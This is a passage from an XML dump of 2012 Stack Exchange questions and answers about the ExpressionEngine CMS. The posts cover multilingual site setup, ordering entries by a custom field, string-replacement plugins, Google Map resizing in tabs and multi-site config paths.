  <row Id="239" PostTypeId="2" ParentId="238" CreationDate="2012-11-22T15:32:28.827" Score="8" Body="&lt;p&gt;Possible yes, easily, not overly confusing no, but sitting down with the client and explaining the use for 15 minutes would be really useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said you do want to make things as clear as possible for the client and each client have different levels of experience and general nous / common computer sense. We normally make short video tutorials built into an accessory to explain things if they get lost. Generally though they don't refer to it much after initial training.&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2012-11-22T15:32:28.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostTypeId="2" ParentId="238" CreationDate="2012-11-22T15:42:08.930" Score="5" Body="&lt;p&gt;I normally use &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot;&gt;Zoo Flexible Admin&lt;/a&gt; to create a navigation that makes it obvious to the client how and where to edit the appropriate sections of their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of a site with Structure, I'd usually have a 'Main Site Structure' nav item and then the remaining non-structure channels in nav items like 'News &gt; Add, News &gt; Edit, etc'.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-11-22T15:42:08.930" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="241" PostTypeId="2" ParentId="236" CreationDate="2012-11-22T15:56:24.180" Score="9" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://eeharbor.com/transcribe&quot;&gt;transcribe&lt;/a&gt;. i am currently using it with structure and am pretty satisfied with it. &#xA;The way you are proposing to do this will probably end up confusing visitors, as they will be seeing 2 languages mixed. &#xA;With transcribe you will be creating different entries, and content of the site does not have to be equal. Each language will have it's own structure tree. If a user clicks on the language switch on a page that has no equivalent in the second language, it will show the homepage of that language version.&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2012-11-22T16:02:58.263" LastActivityDate="2012-11-22T16:02:58.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="242" PostTypeId="2" ParentId="211" CreationDate="2012-11-22T15:59:17.237" Score="1" Body="&lt;p&gt;Backing up a little: My understanding is that Strict URL's were implemented because of duplicate content* issues - duplicate content is rarely an issue at all anyway. Google will just decide to index 1 page. It would be possible to run into a canonical issues but again that's rare.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Different duplicate content than copying other sites and trying to out rank for that content.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Personally i don't run strict urls as it makes url's ugly although- by reading above i need to revisit and test a few things for clarification in my mind how exactly it works.&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2012-11-22T15:59:17.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostTypeId="1" AcceptedAnswerId="245" CreationDate="2012-11-22T16:10:28.673" Score="11" ViewCount="4974" Body="&lt;p&gt;I need to pull out all the entries in a channel that are of a certain type of category. But, i also want to be able to then sort the entries by the value of a custom field in that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now, i have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;9&quot; category=&quot;{segment_3_category_id}&quot;}&#xA;     &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in that channel, i have a custom field of &quot;price&quot;. I want to amend that channel tag to order by my custom field called &quot;price&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i achieve this?&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="104" LastEditDate="2012-11-24T21:32:27.580" LastActivityDate="2014-10-02T02:40:31.557" Title="How can i order by a custom field in a channel entries tag?" Tags="|channel|filter|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="244" PostTypeId="2" ParentId="243" CreationDate="2012-11-22T16:13:13.843" Score="1" Body="&lt;p&gt;This is very easy to do Just order by your custom field - I do believe you are limited to fieldtype of &quot;text&quot; other fieldtypes won't work with the orderby parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;name_of_field&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://expressionengine.com/user_guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-22T16:13:13.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostTypeId="2" ParentId="243" CreationDate="2012-11-22T16:13:17.370" Score="17" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; orderby=&quot;price&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ordering entries by custom fields comes by default with ExpressionEngine:&#xA;&lt;a href=&quot;http://expressionengine.com/user_guide/modules/channel/channel_entries.html#orderby&quot;&gt;http://expressionengine.com/user_guide/modules/channel/channel_entries.html#orderby&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-22T16:13:17.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="246" PostTypeId="2" ParentId="145" CreationDate="2012-11-22T16:17:22.717" Score="4" Body="&lt;p&gt;Currently, Helpdesk does not allow to upload PHP files. We have decided for this limitation to avoid a security issue when someone would email you PHP file, and by figuring out the path of attachments on your server, execute it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though it's possible to block PHP execution for some folders (eg. via .htaccess), most of the users don't know this so we have decided to disallow PHP file attachments at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround for this is to ask your users to send you PHP attachments in a .zip file.&lt;/p&gt;&#xA;" OwnerUserId="287" LastActivityDate="2012-11-22T16:17:22.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostTypeId="2" ParentId="243" CreationDate="2012-11-22T16:20:00.467" Score="5" Body="&lt;p&gt;One addendum to the other answers (though they are perfectly correct) that may be relevant to you given your choice of sorting field: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that if you want your &lt;code&gt;price&lt;/code&gt; field ordered data to be ordered numerically in order of increasing/decreasing scale, you will need to change the field content type to decimal (assuming decimal prices). To do this go into your field settings, and you'll find &quot;Field Content&quot; under the &quot;Field Options&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise these values: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 2,11,3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will end up sorted alphabetically like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11,2,3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when what you want is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2,3,11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-22T16:20:00.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="248" PostTypeId="1" CreationDate="2012-11-22T16:23:30.317" Score="3" ViewCount="224" Body="&lt;p&gt;&lt;strong&gt;EE tag in Forum template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is to use my custom EE plugin in to Forum header template:&#xA;themes/forum_themes/default/forum_global/html_header.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that Forum template are processed by CI parser (is right?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround is include in html_header.html a processed EE template,&#xA;or call EE Template Class to process EE template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What dou you think?&lt;/p&gt;&#xA;" OwnerUserId="310" LastEditorUserId="310" LastEditDate="2012-11-22T18:19:04.023" LastActivityDate="2012-11-22T18:19:04.023" Title="How to parse EE tag in Forums template?" Tags="|templates|parsing|codeigniter|forum|themes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="249" PostTypeId="1" AcceptedAnswerId="884" CreationDate="2012-11-22T16:26:44.657" Score="7" ViewCount="286" Body="&lt;p&gt;I'm building a site that uses Solspace's Calendar module to manage bookings for rental properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The booking entries are all made on a single calendar and are related to one of the property entries by means of a relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The event entries need to be made on the front end of the site by the property owners so I have an SAEF to allow them to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that it seems one &lt;em&gt;must&lt;/em&gt; use the {exp:calendar:date_widget} tag to get the date entry fields. Unfortunately this generates a &quot;widget&quot; that includes a lot of stuff that simply isn't needed for this application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;can&lt;/em&gt; do stuff with javascript to customise the widget, such as ticking the &quot;all day&quot; box and hiding it, but it just seems like a horrible hack when I'm used to just building what I need. I really hate the fact I'm tied to using this nasty widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried simply using the HTML and JS that the widget generates, although there are some custom id values generated that mean I'd need to work out what they're doing in order to get the right values going into the entry. Besides that, the datepicker doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From browsing the Solspace support forums it seems the common answer to this type of question is &quot;you have to use the widget... it does lots of other stuff behind the scenes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience of this problem and some kind of workable, non-hacky solution?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-30T23:14:25.313" Title="Is it possible to create an SAEF event entry form for Solspace Calendar that doesn't use the event widget?" Tags="|add-on|solspace-calendar|saef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="250" PostTypeId="2" ParentId="236" CreationDate="2012-11-22T16:34:26.327" Score="4" Body="&lt;p&gt;&lt;strong&gt;Taken directly from Structure's Docs:&#xA;( &lt;a href=&quot;http://buildwithstructure.com/documentation/multi-language_sites/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/multi-language_sites/&lt;/a&gt; )&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommended method is to have your default language at the top level and make separate branches for your alternate languages like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/about &lt;/li&gt;&#xA;&lt;li&gt;/services&lt;/li&gt;&#xA;&lt;li&gt;/contact&lt;/li&gt;&#xA;&lt;li&gt;/es/about&lt;/li&gt;&#xA;&lt;li&gt;/es/services&lt;/li&gt;&#xA;&lt;li&gt;/es/contact&lt;/li&gt;&#xA;&lt;li&gt;/fr/about&lt;/li&gt;&#xA;&lt;li&gt;/fr/services &lt;/li&gt;&#xA;&lt;li&gt;/fr/contact&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can then use the nav_sub tag and either the start_from or exclude_status parameters. When using exclude_status you can assign statuses by language to control the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example nav_sub code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1  'es' OR segment_1  'fr'}&#xA;    {!-- START FROM SEGMENT 2 IF NOT DEFAULT LANGUAGE --}&#xA;    {exp:structure:nav start_from='/{segment_1}/{segment_2}'}&#xA;{if:else}&#xA;    {!-- START FROM SEGMENT 1 IF DEFAULT LANGUAGE --}&#xA;    {exp:structure:nav start_from='/{segment_1}'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method does not require different custom fields per language as they’re all separate pages powered by the same code and quite often the same templates.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-22T16:34:26.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="251" PostTypeId="2" ParentId="248" CreationDate="2012-11-22T16:36:15.830" Score="4" Body="&lt;p&gt;Unfortunately, it's not possible to use regular EE tags in forum templates unless you &lt;a href=&quot;http://expressionengine.com/user_guide/modules/forum/other_features.html#running-the-forums-through-regular-templates&quot; rel=&quot;nofollow&quot;&gt;run the forums through regular templates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The down side of this approach is that it adds more processing&#xA;  overhead, so it’s not recommended unless users really need this&#xA;  capability. Since the forum can’t be cached, on very busy sites this&#xA;  can create some unwanted server load.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-22T16:36:15.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="252" PostTypeId="1" AcceptedAnswerId="255" CreationDate="2012-11-22T16:45:06.107" Score="2" ViewCount="138" Body="&lt;p&gt;I've got a variable like {current_url} which contains the full url of the page you are on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to strip out the last segment from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or native EE way of doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say that variable is example.com/me/you and i want to remove the &quot;you&quot; from the end, how would i do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to variable url segments, i can't do {segment_2}{segment_3}{segment_4} as &quot;you&quot; might be the second or third or fourth variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-25T12:43:07.670" Title="Is there a plugin that will strip a bit of text out of a string?" Tags="|url|variable|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="253" PostTypeId="2" ParentId="236" CreationDate="2012-11-22T16:53:32.590" Score="3" Body="&lt;p&gt;If you're already using Structure then a simple and straightforward method would be just to create new pages for each language. This might work for you. I used it on a couple of micro-sites and the client was very happy with the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your Structure tree might look something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home - /&#xA;Products - /products&#xA;Contact Us /contact-us&#xA;Polski - /pl&#xA;    Strona główna - /pl/strona-gowna&#xA;    Produkty - /pl/produkty&#xA;    Kontakt - /pl/kontakt&#xA;Francais - /fr&#xA;    Page d'accueil - /fr/page-daccueil&#xA;    Produits - /fr/produits&#xA;    Contactez-nous - /fr/contactez-nous&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So each language effectively has its own &quot;root&quot; page which has the strucuture/url title of the language abbreviation then a collection of subpages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent people hitting the root pages of each language, I made a template that contains a single tag which redirects to the first child page of that root page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upshot is that whilst not sophistacted, you've got a very easy to manage site that makes it possible to provide different content or even pages on a per-language basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: And now I see that basically someone has already given this answer!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-22T16:53:32.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostTypeId="2" ParentId="204" CreationDate="2012-11-22T16:55:58.097" Score="2" Body="&lt;p&gt;This is just an idea, but are you using NSM add-on updater? I have slow loading when this add-on gets stuck on when checking for an update. Alternatively , try disabling some accessories if you using any others.&lt;/p&gt;&#xA;" OwnerUserId="281" LastEditorUserId="104" LastEditDate="2012-11-29T00:27:41.737" LastActivityDate="2012-11-29T00:27:41.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostTypeId="2" ParentId="252" CreationDate="2012-11-22T17:03:06.677" Score="6" Body="&lt;p&gt;Found it, the brilliant @low strikes again with a great plugin called Low Replace!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syntax like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;you&quot; replace=&quot;&quot;}{current_url}{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cool!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-22T17:03:06.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostTypeId="2" ParentId="252" CreationDate="2012-11-22T17:09:52.893" Score="7" Body="&lt;p&gt;Low's stuff is allways awesome. I was thinking of this, pretty awesome too. &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-string&lt;/a&gt;? &lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-11-22T17:09:52.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="257" PostTypeId="1" AcceptedAnswerId="258" CreationDate="2012-11-22T17:46:56.873" Score="6" ViewCount="651" Body="&lt;p&gt;I am using MX Google Map to display a basic map. This map happens to be in a tab (Bootstrap). Here is the code for the basic tab.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;masthead-image tab-content&quot;&amp;gt;    &#xA;    &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;Map&quot;&amp;gt;{exp:stash:get name=&quot;location&quot;}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;tab-pane fade in active&quot; id=&quot;Photo&quot;&amp;gt;{exp:stash:get name=&quot;masthead&quot;}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;unstyled&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;mapToggle&quot;&amp;gt;&amp;lt;a href=&quot;#Map&quot; data-toggle=&quot;tab&quot;&amp;gt;View Map&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;mapToggle active&quot;&amp;gt;&amp;lt;a href=&quot;#Photo&quot; data-toggle=&quot;tab&quot;&amp;gt;View Photo&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tabs are working fine, except that when I activate the map tab we get only a portion of a drawn map. To correct this issue I am attempting to trigger a resize event when the tab is activated... to no avail. Here is said code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[data-toggle=&quot;tab&quot;]').on('shown', function (e) { &#xA;    google.maps.event.trigger(map, 'resize');&#xA;    map.setZoom( map.getZoom() ); &#xA; });  // refire the map &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is why the event 'resize' is not happening as expected? I have a hunch that since MX Google Maps inserts the javascript for the map inline that it may be causing issue? I am, obviously not an expert here but would love some ideas or opinions&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2012-11-22T18:46:54.973" LastActivityDate="2012-11-22T18:46:54.973" Title="Why is MX Google Map not resizing in tab?" Tags="|jquery|google-maps|mx-google-map|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="258" PostTypeId="2" ParentId="257" CreationDate="2012-11-22T18:16:01.577" Score="4" Body="&lt;p&gt;I've found a solution. I needed to get the map id from the generated script from MX Google Map. Didn't need to set the zoom either. Learning as I go!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[data-toggle=&quot;tab&quot;]').on('shown', function (e) { &#xA;    for (var mapId in $.mxgoogleMaps.gMap) {&#xA;        google.maps.event.trigger($.mxgoogleMaps.gMap[mapId], 'resize');&#xA;        }; &#xA; });  // refire the map&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-11-22T18:16:01.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="259" PostTypeId="2" ParentId="252" CreationDate="2012-11-22T18:17:05.460" Score="4" Body="&lt;p&gt;You could also try &lt;a href=&quot;http://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;PHPStringFun&lt;/a&gt; and the str_replace function. PHPStringFun lets you run php functions on the template without enabling PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll be overly complex for this but is useful if you need to do anything more than just replace text (or use any other phpfunctions).&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2012-11-22T18:17:05.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="260" PostTypeId="1" AcceptedAnswerId="304" CreationDate="2012-11-22T18:37:15.687" Score="8" ViewCount="469" Body="&lt;p&gt;I've just added a secondary site to my Git-bootstrapped EE-site. I've added new upload destinations and I've added them to my file-uploads array in my &lt;code&gt;config.php&lt;/code&gt;. My file-uploads array looks like this now (just a stub, obviously there are more like this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10 =&amp;gt; array(&#xA;    'name'        =&amp;gt; &quot;Blog&quot;,                          // Display name in control panel&#xA;    'server_path' =&amp;gt; $base_path . '/user/blog/', // Server path to upload directory&#xA;    'url'         =&amp;gt; $base_url . '/user/blog/'      // URL of upload directory&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;$base_path&lt;/code&gt; and &lt;code&gt;$base_url&lt;/code&gt; defined as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url                       = $protocol . $_SERVER['HTTP_HOST'];&#xA;$base_path                      = $_SERVER['DOCUMENT_ROOT'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this poses a problem: when I administer the secondary site through the admin.php of the primary-site, obviously &lt;code&gt;$base_path&lt;/code&gt; and &lt;code&gt;$base_url&lt;/code&gt; are going to resolve to that site's domain and document-root. How do I handle this properly? Reason this is causing such a headache is that the secondary site has some issues that cause it's admin.php to not render theme-url properly (forum-thread here: &lt;a href=&quot;http://expressionengine.com/forums/viewthread/229911/&quot;&gt;http://expressionengine.com/forums/viewthread/229911/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-19T15:58:14.263" Title="MSM Bootstrapping" Tags="|multi-site-manager|bootstrap|git|file-uploads|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostTypeId="1" AcceptedAnswerId="2049" CreationDate="2012-11-22T19:13:13.133" Score="5" ViewCount="100" Body="&lt;p&gt;I have a client who wants what they call a 'Business Needs Survey Form' implemented into the site. The form will ask a series of around 30 business questions and once completed it will send off an email to sales team, and the user themself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A subset of those 30 questions (Simple Needs Questions form (I did not come up with that name)) will be assigned to different areas of the site in order to entice the user to go and fill out the full Business Needs Survey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple needs questions will have a simple yes or no answer option, which when chosen will reveal an answer that links off to one or more of the clients products or the full survey. &lt;strong&gt;Those answers need to be progressively captured as the user flows through the site&lt;/strong&gt;.&#xA;With me so far? Cool. Here comes the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the best way to attack this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thinking was to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up a channel to hold the questions and 2 different answers (one for yes one for no)&lt;/li&gt;&#xA;&lt;li&gt;Use playa to allocate the questions to the different pages throughout the site&lt;/li&gt;&#xA;&lt;li&gt;and possibly—this is where I'm stuck—capture the responses using safecracker to another channel which can then be pulled out when the user is ready.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;NOTE: The user of the site will not be logged in, or have membership of any sorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a good idea? &#xA;Has anybody done anything like this before, or are there any addons out there that service this type of requirement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm really unsure on how to capture and store that data site wide.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&#xA;Cheers&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-12-22T07:52:32.987" Title="How can I capture site wide poll data to use later on" Tags="|add-on|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostTypeId="2" ParentId="227" CreationDate="2012-11-22T19:16:18.803" Score="9" Body="&lt;p&gt;Personally I recommend avoiding all current native EE caching systems and highly recommend investing in one or more of the already mentioned 3rd party caching systems. EE v2 did little if anything to make the dated EE v1 caching systems modern in any way, even if the CI framework has more modern caching systems available to it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2012-11-22T19:16:18.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="263" PostTypeId="2" ParentId="236" CreationDate="2012-11-22T19:19:09.080" Score="6" Body="&lt;p&gt;I don't use Structure that much so here is the process and add-ons I use to develop multilingual sites in EE in case someone is looking for an alternative:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Language Framework:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually use &lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-support&quot;&gt;Biber Multi Language Support&lt;/a&gt; for this although I will probably be trying &lt;a href=&quot;http://eeharbor.com/transcribe&quot;&gt;Transcribe&lt;/a&gt; on my next project. In the case of Biber it will allow you to define your languages and appends the languages' two character ISO code to your URL, Example: &quot;http://example.com/es/&quot;. The language code is then also available as an early parsed variable &lt;code&gt;{language_code}&lt;/code&gt; which you can use in your entries tags. Biber also includes the option to include static content variables for bits of text that you would not put into a channel (more on that below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel Content:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first define what channel content will be &quot;mirrored&quot; (content will be translated 1-to-1 in all languages) and which is not. From here I begin to plan out channels and field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I know the content will be mirrored, I will create one channel for it and assign a field group to it that has separate text fields for each language. To avoid confusion for the content editor I usually group these fields in a tab for each language in the edit form, separating them from any non-language specific fields in that channel as well. The naming convention for fields I use would be, as an example: &quot;product_summary_xx&quot; with the &quot;xx&quot; part being the two letter ISO language code for that language. In your template you would then call the appropriate language field in your entries tag with the name of the field and the language variable : &lt;code&gt;{product_summary_{language_code}}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the content will be different for each language, I will create a channel for each language and then assign 1 field group with the text fields necessary to all the language channels. The naming convention for the channel would then be for example: &quot;products_xx&quot;, again with the &quot;xx&quot; being the language code. To call the correct language channel in the entries tag you would then use something like this: &lt;code&gt;{exp:channel:entries channel='products_{language_code}' ...}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Static Content&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static content that needs to be in multiple languages (i.e.; &quot;Send&quot;, &quot;Your Name&quot;, &quot;Back&quot;, etc... basically all the bits of static texts included in your templates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the complexity, and necessary access to the content editor of this data, I will usually use a combination of the following Add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-variables&quot;&gt;Low Variables&lt;/a&gt; - If the project has content that will need to be editable by the client but it does not warrant a channel all to it's self, I will usually use Low Variables to group the multilingual semi-static data here by language, again to prevent confusion. Since you can specify early parse orders on variables you can also setup date, and number formatting strings for each language as well here. Again, the naming convention for these variables would be something like &quot;lv_home_intro_xx&quot; and you would call the correct language in your template like so: &lt;code&gt;{lv_home_intro_{language_code}}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-support&quot;&gt;Biber Multi Language Support&lt;/a&gt; - For all remaining static texts that the client does not need to be meddling with, I use Biber's functionality for static multilingual phrases and close it off for only Super Admins and any higher level Member groups that would require access to it or member groups for translators. To output in the correct language in your templates you don't need to worry about the language code here, just the Biber variable name : &lt;code&gt;{bbr-mls-special_offers}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Navigation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For creating multiple language navigation schemes I have been using &lt;a href=&quot;http://booyant.com/navee&quot;&gt;Navee&lt;/a&gt; to create separate ones for each language. The interface is pretty intuitive which is great when you need to allow your client access to it. Creating separate navigation menus will also cover you if the site requires non-mirrored content in the navigation. You then would use the &lt;code&gt;{language_code}&lt;/code&gt; variable again to call the correct navigation menu in your template. Example: &lt;code&gt;{exp:navee nav_title='main_navigation_{language_code}'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For language switching, the Biber 